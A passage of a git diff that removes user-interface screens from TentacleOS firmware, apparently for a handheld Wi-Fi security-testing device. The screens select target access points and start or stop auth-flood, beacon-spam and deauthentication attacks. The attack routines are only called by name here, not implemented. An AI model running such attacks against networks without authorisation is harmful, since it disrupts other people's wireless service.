lv_event_code_t code = lv_event_get_code(e); - lv_obj_t *item = lv_event_get_target(e); - - if (code == LV_EVENT_FOCUSED) { - lv_obj_set_style_border_color(item, ui_theme_get_accent(), 0); - lv_obj_set_style_border_width(item, LIST_ITEM_BORDER_SEL, 0); - lv_obj_scroll_to_view(item, LV_ANIM_ON); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_set_style_border_color(item, current_theme.border_inactive, 0); - lv_obj_set_style_border_width(item, LIST_ITEM_BORDER_W, 0); - } else if (code == LV_EVENT_KEY) { - list_event_cb(e); - } -} - -static void populate_ap_list(wifi_ap_record_t *results, uint16_t count) { - if (results == NULL || count == 0) { - lv_obj_t *empty = lv_label_create(s_list_cont); - lv_label_set_text(empty, "NO APS FOUND"); - lv_obj_set_style_text_color(empty, current_theme.text_main, 0); - if (main_group != NULL) - lv_group_add_obj(main_group, empty); - return; - } - - for (uint16_t i = 0; i < count; i++) { - wifi_ap_record_t *ap = &results[i]; - lv_obj_t *item = lv_obj_create(s_list_cont); - lv_obj_set_size(item, lv_pct(100), LIST_ITEM_H); - lv_obj_add_style(item, &s_style_item, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_clear_flag(item, LV_OBJ_FLAG_SCROLLABLE); - - lv_obj_t *icon = lv_label_create(item); - lv_label_set_text(icon, LV_SYMBOL_WIFI); - lv_obj_set_style_text_color(icon, current_theme.text_main, 0); - - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text(lbl, (char *)ap->ssid); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_flex_grow(lbl, 1); - lv_obj_set_style_margin_left(lbl, LIST_ITEM_LABEL_MARGIN_L, 0); - - lv_obj_set_user_data(item, ap); - lv_obj_add_event_cb(item, on_item_event, LV_EVENT_ALL, NULL); - - if (main_group != NULL) - lv_group_add_obj(main_group, item); - } - - if (main_group != NULL) { - lv_obj_t *first = lv_obj_get_child(s_list_cont, 0); - if (first != NULL) - lv_group_focus_obj(first); - } -} - -static void scan_and_populate(void) { - set_loading("SCANNING APS..."); - lv_refr_now(NULL); - - if (!wifi_service_is_active()) { - set_loading("WIFI OFF"); - return; - } - - wifi_service_scan(); - clear_loading(); - - uint16_t count = wifi_service_get_ap_count(); - wifi_ap_record_t *results = (count > 0) ? wifi_service_get_ap_record(0) : NULL; - populate_ap_list(results, count); -} - -static void list_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) != LV_EVENT_KEY) - return; - - uint32_t key = lv_event_get_key(e); - - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - if (s_current_view == AUTH_FLOOD_VIEW_ATTACK) { - stop_attack(); - s_current_view = AUTH_FLOOD_VIEW_APS; - - if (s_lbl_target != NULL) { - lv_obj_del(s_lbl_target); - s_lbl_target = NULL; - } - if (s_btn_attack != NULL) { - lv_obj_del(s_btn_attack); - s_btn_attack = NULL; - } - if (s_lbl_attempts != NULL) { - lv_obj_del(s_lbl_attempts); - s_lbl_attempts = NULL; - } - - clear_list(); - scan_and_populate(); - } else { - stop_attack(); - ui_switch_screen(SCREEN_WIFI_ATTACK_MENU); - } - return; - } - - if (key == LV_KEY_ENTER) { - if (s_current_view == AUTH_FLOOD_VIEW_APS) { - if (main_group == NULL) - return; - lv_obj_t *focused = lv_group_get_focused(main_group); - if (focused == NULL) - return; - wifi_ap_record_t *ap = (wifi_ap_record_t *)lv_obj_get_user_data(focused); - if (ap == NULL) - return; - s_selected_ap = *ap; - show_attack_view(); - } else { - if (!s_is_running) - start_attack(); - else - stop_attack(); - update_attack_labels(); - } - } -} - -void ui_wifi_auth_flood_open(void) { - init_styles(); - - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_clear_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen); - footer_ui_create(s_screen); - - s_list_cont = lv_obj_create(s_screen); - lv_obj_set_size(s_list_cont, LIST_CONT_W, LIST_CONT_H); - lv_obj_align(s_list_cont, LV_ALIGN_CENTER, 0, LIST_CONT_OFFSET_Y); - lv_obj_add_style(s_list_cont, &s_style_menu, 0); - lv_obj_set_flex_flow(s_list_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_list_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_add_flag(s_list_cont, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_scroll_dir(s_list_cont, LV_DIR_VER); - lv_obj_add_event_cb(s_list_cont, list_event_cb, LV_EVENT_KEY, NULL); - - lv_screen_load(s_screen); - scan_and_populate(); -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_simple_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_simple_ui.c deleted file mode 100644 index d0093f2a0..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_simple_ui.c +++ /dev/null @@ -1,103 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "wifi_beacon_spam_simple_ui.h" - -#include "esp_log.h" -#include "lvgl.h" - -#include "beacon_spam.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BEACON_SPAM_SIMPLE"; - -#define STATUS_OFFSET_Y (-10) -#define COUNT_OFFSET_Y 20 -#define COUNT_INCREMENT 10 -#define TIMER_PERIOD_MS 1000 - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_lbl_status = NULL; -static lv_obj_t *s_lbl_count = NULL; -static lv_timer_t *s_update_timer = NULL; -static uint32_t s_spam_count = 0; - -extern lv_group_t *main_group; - -static void update_count_cb(lv_timer_t *t) { - (void)t; - if (!beacon_spam_is_running()) - return; - s_spam_count += COUNT_INCREMENT; - if (s_lbl_count != NULL) { - lv_label_set_text_fmt(s_lbl_count, "Created: %lu", (unsigned long)s_spam_count); - } -} - -static void screen_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) != LV_EVENT_KEY) - return; - uint32_t key = lv_event_get_key(e); - if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { - if (s_update_timer != NULL) { - lv_timer_del(s_update_timer); - s_update_timer = NULL; - } - beacon_spam_stop(); - ui_switch_screen(SCREEN_WIFI_ATTACK_MENU); - } -} - -void ui_wifi_beacon_spam_simple_open(void) { - if (s_screen != NULL) - lv_obj_del(s_screen); - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen); - footer_ui_create(s_screen); - - s_lbl_status = lv_label_create(s_screen); - lv_label_set_text(s_lbl_status, "Spamming Random SSIDs..."); - lv_obj_set_style_text_color(s_lbl_status, current_theme.text_main, 0); - lv_obj_align(s_lbl_status, LV_ALIGN_CENTER, 0, STATUS_OFFSET_Y); - - s_lbl_count = lv_label_create(s_screen); - lv_label_set_text(s_lbl_count, "Created: 0"); - lv_obj_set_style_text_color(s_lbl_count, current_theme.text_main, 0); - lv_obj_align(s_lbl_count, LV_ALIGN_CENTER, 0, COUNT_OFFSET_Y); - - s_spam_count = 0; - beacon_spam_start_random(); - - if (s_update_timer != NULL) - lv_timer_del(s_update_timer); - s_update_timer = lv_timer_create(update_count_cb, TIMER_PERIOD_MS, NULL); - - lv_obj_add_event_cb(s_screen, screen_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_screen); - lv_group_focus_obj(s_screen); - } - - lv_screen_load(s_screen); -} diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_ui.c deleted file mode 100644 index 775cbe2aa..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_beacon_spam_ui.c +++ /dev/null @@ -1,153 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . -#include "wifi_beacon_spam_ui.h" - -#include "esp_log.h" - -#include "beacon_spam.h" -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "tos_flash_paths.h" -#include "ui_manager.h" -#include "ui_theme.h" - -static const char *TAG = "UI_BEACON_SPAM"; - -#define DEFAULT_LIST_PATH FLASH_STORAGE_WIFI_BEACONS -#define BTN_WIDTH 160 -#define BTN_HEIGHT 40 -#define TITLE_OFFSET_Y 30 -#define BTN_MODE_OFFSET_Y (-20) -#define BTN_START_OFFSET_Y 30 -#define STATUS_OFFSET_Y (-30) - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_btn_mode = NULL; -static lv_obj_t *s_btn_start = NULL; -static lv_obj_t *s_lbl_status = NULL; -static bool s_is_random_mode = true; - -extern lv_group_t *main_group; - -static void update_mode_label(void) { - if (s_btn_mode != NULL) { - lv_label_set_text_fmt( - lv_obj_get_child(s_btn_mode, 0), "Mode: %s", s_is_random_mode ? "RANDOM" : "LIST"); - } -} - -static void toggle_mode_handler(lv_event_t *e) { - if (lv_event_get_code(e) == LV_EVENT_KEY && - (lv_event_get_key(e) == LV_KEY_ENTER || lv_event_get_key(e) == LV_KEY_RIGHT || - lv_event_get_key(e) == LV_KEY_LEFT)) { - if (!beacon_spam_is_running()) { - s_is_random_mode = !s_is_random_mode; - update_mode_label(); - } - } -} - -static void toggle_start_handler(lv_event_t *e) { - if (lv_event_get_code(e) == LV_EVENT_KEY && lv_event_get_key(e) == LV_KEY_ENTER) { - if (beacon_spam_is_running()) { - beacon_spam_stop(); - lv_label_set_text(lv_obj_get_child(s_btn_start, 0), "START SPAM"); - lv_obj_set_style_bg_color(s_btn_start, current_theme.bg_item_top, 0); - lv_label_set_text(s_lbl_status, "Status: STOPPED"); - if (s_btn_mode != NULL) - lv_obj_clear_state(s_btn_mode, LV_STATE_DISABLED); - } else { - bool is_success = false; - if (s_is_random_mode) { - is_success = beacon_spam_start_random(); - } else { - is_success = beacon_spam_start_custom(DEFAULT_LIST_PATH); - } - - if (is_success) { - lv_label_set_text(lv_obj_get_child(s_btn_start, 0), "STOP SPAM"); - lv_obj_set_style_bg_color(s_btn_start, current_theme.bg_item_bot, 0); - lv_label_set_text(s_lbl_status, "Status: SPAMMING..."); - if (s_btn_mode != NULL) - lv_obj_add_state(s_btn_mode, LV_STATE_DISABLED); - } else { - lv_label_set_text(s_lbl_status, "Failed to start!"); - } - } - } -} - -static void screen_event_cb(lv_event_t *e) { - if (lv_event_get_code(e) == LV_EVENT_KEY) { - if (lv_event_get_key(e) == LV_KEY_ESC) { - if (beacon_spam_is_running()) { - beacon_spam_stop(); - } - ui_switch_screen(SCREEN_WIFI_MENU); - } - } -} - -void ui_wifi_beacon_spam_open(void) { - if (s_screen != NULL) - lv_obj_del(s_screen); - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - header_ui_create(s_screen); - footer_ui_create(s_screen); - - lv_obj_t *title = lv_label_create(s_screen); - lv_label_set_text(title, "BEACON SPAM"); - lv_obj_set_style_text_color(title, current_theme.text_main, 0); - lv_obj_align(title, LV_ALIGN_TOP_MID, 0, TITLE_OFFSET_Y); - - s_btn_mode = lv_btn_create(s_screen); - lv_obj_set_size(s_btn_mode, BTN_WIDTH, BTN_HEIGHT); - lv_obj_align(s_btn_mode, LV_ALIGN_CENTER, 0, BTN_MODE_OFFSET_Y); - - lv_obj_t *lbl_mode = lv_label_create(s_btn_mode); - lv_obj_center(lbl_mode); - update_mode_label(); - - s_btn_start = lv_btn_create(s_screen); - lv_obj_set_size(s_btn_start, BTN_WIDTH, BTN_HEIGHT); - lv_obj_align(s_btn_start, LV_ALIGN_CENTER, 0, BTN_START_OFFSET_Y); - lv_obj_set_style_bg_color(s_btn_start, current_theme.bg_item_top, 0); - - lv_obj_t *lbl_btn = lv_label_create(s_btn_start); - lv_label_set_text(lbl_btn, "START SPAM"); - lv_obj_center(lbl_btn); - - s_lbl_status = lv_label_create(s_screen); - lv_label_set_text(s_lbl_status, "Status: READY"); - lv_obj_set_style_text_color(s_lbl_status, current_theme.text_main, 0); - lv_obj_align(s_lbl_status, LV_ALIGN_BOTTOM_MID, 0, STATUS_OFFSET_Y); - - lv_obj_add_event_cb(s_btn_mode, toggle_mode_handler, LV_EVENT_KEY, NULL); - lv_obj_add_event_cb(s_btn_start, toggle_start_handler, LV_EVENT_KEY, NULL); - lv_obj_add_event_cb(s_screen, screen_event_cb, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_btn_mode); - lv_group_add_obj(main_group, s_btn_start); - lv_group_focus_obj(s_btn_mode); - } - - lv_screen_load(s_screen); -} diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_deauth_attack_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_deauth_attack_ui.c deleted file mode 100644 index e7c5487c4..000000000 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_deauth_attack_ui.c +++ /dev/null @@ -1,567 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "wifi_deauth_attack_ui.h" - -#include - -#include "esp_log.h" -#include "lvgl.h" - -#include "footer_ui.h" -#include "header_ui.h" -#include "lv_port_indev.h" -#include "msgbox_ui.h" -#include "target_scanner.h" -#include "ui_manager.h" -#include "ui_theme.h" -#include "wifi_deauther.h" -#include "wifi_service.h" - -static const char *TAG = "UI_DEAUTH_ATTACK"; - -/* ---- Layout constants ---- */ -#define LABEL_TARGET_Y 30 -#define LABEL_MODE_Y 55 -#define LABEL_CLIENT_Y 80 -#define BTN_ATTACK_W 170 -#define BTN_ATTACK_H 45 -#define BTN_ATTACK_Y 10 -#define LABEL_PACKETS_Y (-35) -#define LIST_W 230 -#define LIST_H 160 -#define LIST_Y 10 -#define ITEM_H 40 -#define ITEM_MARGIN_LEFT 8 - -/* ---- Style constants ---- */ -#define STYLE_BORDER_W 2 -#define STYLE_BORDER_W_ITEM 1 -#define STYLE_PAD 4 - -/* ---- Timer periods ---- */ -#define ATTACK_TICK_MS 200 -#define CLIENT_SCAN_MS 500 -#define PACKET_INCREMENT 10 - -typedef enum { - DEAUTH_VIEW_APS = 0, - DEAUTH_VIEW_ATTACK = 1, - DEAUTH_VIEW_CLIENTS = 2, -} deauth_view_t; - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_list_cont = NULL; -static lv_obj_t *s_loading_label = NULL; -static lv_obj_t *s_lbl_target = NULL; -static lv_obj_t *s_lbl_mode = NULL; -static lv_obj_t *s_lbl_client = NULL; -static lv_obj_t *s_btn_attack = NULL; -static lv_obj_t *s_lbl_packets = NULL; -static lv_style_t s_style_menu; -static lv_style_t s_style_item; -static bool s_is_styles_init = false; - -static deauth_view_t s_current_view = DEAUTH_VIEW_APS; -static wifi_ap_record_t s_selected_ap; -static bool s_is_broadcast_mode = true; -static bool s_is_attacking = false; -static uint32_t s_packet_count = 0; -static lv_timer_t *s_attack_timer = NULL; -static lv_timer_t *s_client_timer = NULL; -static bool s_has_client = false; -static uint8_t s_selected_client[6]; -static uint16_t s_last_client_count = 0; - -extern lv_group_t *main_group; - -static void list_event_cb(lv_event_t *e); -static void show_client_view(void); - -static void init_styles(void) { - if (s_is_styles_init) - return; - - lv_style_init(&s_style_menu); - lv_style_set_bg_color(&s_style_menu, current_theme.screen_base); - lv_style_set_bg_opa(&s_style_menu, LV_OPA_COVER); - lv_style_set_border_width(&s_style_menu, STYLE_BORDER_W); - lv_style_set_border_color(&s_style_menu, current_theme.border_interface); - lv_style_set_radius(&s_style_menu, 0); - lv_style_set_pad_all(&s_style_menu, STYLE_PAD); - - lv_style_init(&s_style_item); - lv_style_set_bg_color(&s_style_item, current_theme.bg_item_bot); - lv_style_set_bg_grad_color(&s_style_item, current_theme.bg_item_top); - lv_style_set_bg_grad_dir(&s_style_item, LV_GRAD_DIR_VER); - lv_style_set_border_width(&s_style_item, STYLE_BORDER_W_ITEM); - lv_style_set_border_color(&s_style_item, current_theme.border_inactive); - lv_style_set_radius(&s_style_item, 0); - - s_is_styles_init = true; -} - -static void clear_list(void) { - if (s_list_cont == NULL) - return; - uint32_t child_count = lv_obj_get_child_count(s_list_cont); - for (uint32_t i = 0; i < child_count; i++) { - lv_obj_del(lv_obj_get_child(s_list_cont, 0)); - } - if (main_group != NULL) - lv_group_remove_all_objs(main_group); -} - -static void set_loading(const char *text) { - if (s_loading_label == NULL) { - s_loading_label = lv_label_create(s_screen); - lv_obj_set_style_text_color(s_loading_label, current_theme.text_main, 0); - lv_obj_center(s_loading_label); - } - lv_label_set_text(s_loading_label, text); -} - -static void clear_loading(void) { - if (s_loading_label != NULL) { - lv_obj_del(s_loading_label); - s_loading_label = NULL; - } -} - -static void item_focus_cb(lv_event_t *e) { - lv_event_code_t code = lv_event_get_code(e); - lv_obj_t *item = lv_event_get_target(e); - if (code == LV_EVENT_FOCUSED) { - lv_obj_set_style_border_color(item, ui_theme_get_accent(), 0); - lv_obj_set_style_border_width(item, STYLE_BORDER_W, 0); - lv_obj_scroll_to_view(item, LV_ANIM_ON); - } else if (code == LV_EVENT_DEFOCUSED) { - lv_obj_set_style_border_color(item, current_theme.border_inactive, 0); - lv_obj_set_style_border_width(item, STYLE_BORDER_W_ITEM, 0); - } else if (code == LV_EVENT_KEY) { - list_event_cb(e); - } -} - -static void update_attack_labels(void) { - if (s_lbl_target != NULL) { - lv_label_set_text_fmt( - s_lbl_target, "Target: %s CH:%d", s_selected_ap.ssid, s_selected_ap.primary); - } - if (s_lbl_mode != NULL) { - lv_label_set_text_fmt(s_lbl_mode, "Mode: %s", s_is_broadcast_mode ? "Broadcast" : "Targeted"); - } - if (s_lbl_client != NULL) { - if (!s_is_broadcast_mode && s_has_client) { - lv_label_set_text_fmt(s_lbl_client, - "Client: %02X:%02X:%02X:%02X:%02X:%02X", - s_selected_client[0], - s_selected_client[1], - s_selected_client[2], - s_selected_client[3], - s_selected_client[4], - s_selected_client[5]); - } else if (!s_is_broadcast_mode) { - lv_label_set_text(s_lbl_client, "Client: